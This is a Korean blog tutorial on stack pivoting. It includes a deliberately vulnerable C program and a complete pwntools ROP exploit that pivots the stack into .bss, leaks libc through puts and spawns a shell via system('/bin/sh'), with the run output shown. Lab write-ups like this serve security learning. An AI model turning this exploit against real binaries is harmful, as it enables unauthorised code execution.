ssongk
ssongk
ssongk
전체 방문자
오늘
어제

공지사항

  • resources
  • 분류 전체보기 (626)
    • CTF (24)
    • background (79)
      • fuzzing (5)
      • linux (29)
      • linux kernel (15)
      • windows (2)
      • web assembly (1)
      • embedded (0)
      • web (13)
      • crypto (9)
      • mobile (1)
      • AI (1)
      • etc.. (3)
    • write-up(pwn) (171)
      • dreamhack (102)
      • pwn.college (4)
      • pwnable.xyz (51)
      • pwnable.tw (3)
      • pwnable.kr (5)
      • G04T (6)
    • write-up(rev) (32)
      • dreamhack (24)
      • reversing.kr (8)
    • write-up(web) (195)
      • dreamhack (63)
      • LOS (40)
      • webhacking.kr (69)
      • websec.fr (3)
      • wargame.kr (6)
      • webgoat (1)
      • G04T (7)
      • suninatas (6)
    • write-up(crypto) (19)
      • dreamhack (16)
      • G04T (1)
      • suninatas (2)
    • write-up(forensic) (53)
      • dreamhack (5)
      • ctf-d (47)
      • suninatas (1)
    • write-up(misc) (13)
      • dreamhack (12)
      • suninatas (1)
    • development (31)
      • Linux (14)
      • Java (13)
      • Python (1)
      • C (2)
      • TroubleShooting (1)
    • 자격증 (8)
    • 이산수학 (1)
    • 정보보안 (0)
hELLO · Designed By 정상우.
ssongk
background/linux

stack pivoting

stack pivoting
background/linux

stack pivoting

2023. 7. 6. 01:53

stack pivoting 가젯을 활용해 스택의 흐름을 변경해서 익스플로잇을 수행하는 공격 기법이다.
쓰기 가능한 영역(.bss 영역 등)을 활용해서 fake stack을 구성한 뒤
ROP 체이닝에 활용하는 식으로 공격을 수행할 수 있다.
 
일반적으로 사용하는 gadget은 다음과 같다.

gadget 종류
add esp, offset;
ret;
sub esp, offset;
ret;
call register;
push register;
pop esp;
ret;
xchg register, esp;
ret;
mov esp, register;
ret;
leave;
ret;
mov register,[ebp+0c];
call register;
mov reg, dword ptr fs:[0];
…;
ret;

여기서 주로 leave; ret; 가젯을 사용한다. 
 


"leave; ret;" gadget

leave와 ret는 보통 함수의 에필로그 단계에서 나오는 기계어 코드이다.
각 기계 코드는 아래와 같은 기능을 수행한다.
 

epilog code
leave ret
mov rsp, rbp;
pop rbp;
pop rip;
jmp rip;

 


실습

// [출처] 34. Stack pivoting|작성자 JSec
// gcc -o pivot pivot.c -fno-stack-protector -z now -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int loop = 0;

int main(void)
{
	char buf[0x30];

	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);

	if (loop)
	{
		puts("bye");
		exit(-1);
	}
	loop = 1;

	read(0, buf, 0x100);

	return 0;
}

void gadget(void)
{
	__asm__ __volatile__("pop %rdi;ret;pop %rsi;ret;pop %rdx;ret;leave;ret;");
}

loop 변수가 지정되어 있어 main 함수는 한 번만 실행된다.
보호 기법 중 pie, canary를 해제시켜 컴파일 했다.
또한 컴파일 할 때 원하는 가젯이 나오지 않아서 gadget 함수를 통해 추가해줬다.
 


익스플로잇 코드는 다음과 같다.

from pwn import *

p = process('./pivot')
e = ELF('./pivot')
libc = e.libc
r = ROP(e)

# gdb.attach(p)
# context.log_level='debug'

read_plt = e.plt['read']
puts_plt = e.plt['puts']
read_got = e.got['read']
bss = e.bss()

read_offset = libc.symbols['read']
system_offset = libc.symbols['system']
binsh_offset = list(libc.search(b"/bin/sh"))[0]

leave_ret = r.find_gadget(['leave', 'ret'])[0]
ret = r.find_gadget(['ret'])[0]
pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi = r.find_gadget(['pop rsi', 'ret'])[0]
pop_rdx = r.find_gadget(['pop rdx', 'ret'])[0]

payload = b'A' * 0x30
payload += p64(bss + 0x500)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss+0x500)
payload += p64(pop_rdx) + p64(0x80)
payload += p64(read_plt)
payload += p64(leave_ret)

p.send(payload)

payload = p64(bss+0x700)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss+0x700)
payload += p64(pop_rdx) + p64(0x80)
payload += p64(read_plt)
payload += p64(leave_ret)

p.send(payload)

read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset

print("[read]", hex(read))
print("[libc_base]", hex(lb))
print("[system]", hex(system))
print("[/bin/sh]", hex(binsh))

payload = p64(0)
payload += p64(ret)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)

p.interactive()

.bss 영역 등 쓰기 가능한 영역을 찾아서 fake stack으로 활용해준다.
(ROP 체이닝에 활용)
 
여기서 bss+0x500, bss+0x700을 주소로 사용했는데
bss+0x200 까지는 함수들이 사용할 수 있는 부분이라서 충돌이 날 수 있다고 한다.
(실제로 bss+0x300을 사용했더니 세그먼테이션 폴트가 발생했다)

rsp를 fake stack으로 바꿔주기 위해 leave; ret; 가젯을 사용한다.
총 3번의 페이로드 전달이 이루어지는데 각각을 살펴보자.
 


첫 번째 페이로드는 다음과 같다.

payload = b'A' * 0x30
payload += p64(bss + 0x500)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss+0x500)
payload += p64(pop_rdx) + p64(0x80)
payload += p64(read_plt)
payload += p64(leave_ret)

첫 번째 페이로드는 main의 read가 호출되었을 때 전달된다.
buf를 덮고 SFP, RET를 덮는 페이로드이다.
 
 buf의 크기 0x30만큼 'A'로 채우고
SFP 영역은 bss+0x500의 주소로 오버라이트한다.
이후 ROP 체이닝으로 read 함수를 호출해 bss+0x500에 데이터를 쓴 뒤
leave ret 가젯을 호출하여 rsp를 bss+0x500으로 설정해준다.
 


두 번째 페이로드는 다음과 같다.

payload = p64(bss+0x700)
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi) + p64(bss+0x700)
payload += p64(pop_rdx) + p64(0x80)
payload += p64(read_plt)
payload += p64(leave_ret)

두 번째 페이로드는 첫 번째 페이로드의 read 함수가 호출되었을 때 전달된다.
 
먼저, SFP는 bss+0x700으로 설정해주고
libc_base leak을 수행하기 위해 read 함수의 got 주소를 puts 함수로 출력한다.
read 함수로 bss+0x700에 데이터를 쓴 뒤
leave ret 가젯을 호출하여 rsp를 bss+0x700으로 설정해준다.
 
puts로 주소를 받은 후 쉘을 따기 위한 주소들을 계산한다.

read = u64(p.recvn(6)+b'\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = lb + binsh_offset

 


마지막 세 번째 페이로드는 다음과 같다.

payload = p64(0)
payload += p64(ret)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

이제 SFP 영역은 의미가 없으므로 0으로 설정해주고
스택 정렬을 위해 ret 가젯을 넣어준다.
이후 "/bin/sh" 문자열이 저장된 주소를 인자로 설정한 뒤
system 함수를 호출하면 쉘을 딸 수 있다! 
 


익스플로잇 과정을 그림으로 정리해보자!

먼저 초기 상태는 맨 왼쪽 그림과 같다.
 
main 함수에 있던 read 함수의 BOF 취약점을 이용해
스택의 SFP를 변조하고 fake_stack_1에 데이터를 채우기 위한 read 함수와
leave; ret; 가젯을 데이터로 전달했다.
 
이후 메인 함수의 에필로그 과정에 진입하게 되면 leave; ret;을 수행할 것이다.
(read 함수로 입력한 게 아닌 원래 메인 함수에 있는거다)
leave는 mov rsp, rbp; pop rbp;를 수행한다.
mov rsp, rbp;를 수행하면 rsp가 rbp 위치로 이동하고,
pop rbp;를 수행하면 변조했었던 SFP 값인 bss+0x500이 rbp에 저장된다.
 

에필로그 이후 메인 함수의 ret 영역(stack)에 넣은 read 함수가 실행되면
bss+0x500(fake_stack_1)에 데이터를 채워 넣을 수 있다.
 
이후 에필로그 과정인 leave; ret;을 통해
rsp는 rbp에 저장되어 있던 bss+0x500(fake_stack_1)으로 이동하고
rbp는 bss+0x700(fake_stack_2)으로 이동한다.
 
에필로그 과정이 끝나면 fake_stack_1에 넣은 ROP 페이로드가 실행된다.
puts 함수를 통해 read 함수의 got 주소를 받아온 뒤
쉘을 얻기 위한 system 함수, "/bin/sh" 문자열의 주소를 계산한다.
이후 read 함수가 실행되면 bss+0x700(fake_stack_2)에 데이터를 채워 넣을 수 있다.
(쉘을 얻기 위한 ROP 페이로드 삽입)
 

마지막 에필로그 과정을 통해
rsp는 rbp에 저장되어 있던 bss+0x700(fake_stack_2)으로 이동하고
rbp는 dummy SFP로 이동한다.

이후 system("/bin/sh")가 실행되면 쉘을 얻는다!
 


실행 결과는 다음과 같다.

$ python3 ex.py
[+] Starting local process './pivot': pid 240
[*] '/mnt/c/Users/chans/Downloads/pivot/pivot'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 8 cached gadgets for './pivot'
[read] 0x7f073b2e1980
[libc_base] 0x7f073b1cd000
[system] 0x7f073b21dd60
[/bin/sh] 0x7f073b3a5698
[*] Switching to interactive mode

$ id
uid=1000(ssongk) gid=1000(ssongk) groups=1000(ssongk)

 


레퍼런스
 
https://blog.naver.com/yjw_sz/221580782633

 

34. Stack pivoting

leave_ret을 이용한 스택 피보팅을 정리할려고 한다. Stack pivoting 스택 피보팅의 개념을 대충 설명하자...

blog.naver.com

https://velog.io/@silvergun8291/Stack-pivoting

 

Stack pivoting

특정 중심점을 기준으로 스택이 아니었던 공간을 스택 영역인 것처럼 사용하는 기법입니다. 이 기법을 통해 익스플로잇을 하기 위한 공간이 부족할 때 새로운 스택 영역을 확보할 수 있습니다.

velog.io

 

'background > linux' 카테고리의 다른 글

[how2heap] Fastbin dup into stack (glibc 2.35)  (1) 2024.03.11
[how2heap] Fastbin dup (glibc 2.35)  (0) 2024.03.05
[how2heap] House of Lore (glibc 2.35)  (0) 2023.07.03
[how2heap] Tcache House of Spirit (glibc 2.35)  (0) 2023.05.23
[how2heap] House of Force (glibc 2.27)  (0) 2023.03.26
    'background/linux' 카테고리의 다른 글
    • [how2heap] Fastbin dup into stack (glibc 2.35)
    • [how2heap] Fastbin dup (glibc 2.35)
    • [how2heap] House of Lore (glibc 2.35)
    • [how2heap] Tcache House of Spirit (glibc 2.35)
    ssongk
    ssongk
    벌레 사냥꾼이 되고 싶어요

    티스토리툴바

    단축키

    내 블로그

    내 블로그 - 관리자 홈 전환
    Q
    Q
    새 글 쓰기
    W
    W

    블로그 게시글

    글 수정 (권한 있는 경우)
    E
    E
    댓글 영역으로 이동
    C
    C

    모든 영역

    이 페이지의 URL 복사
    S
    S
    맨 위로 이동
    T
    T
    티스토리 홈 이동
    H
    H
    단축키 안내
    Shift + /
    ⇧ + /

    * 단축키는 한글/영문 대소문자로 이용 가능하며, 티스토리 기본 도메인에서만 동작합니다.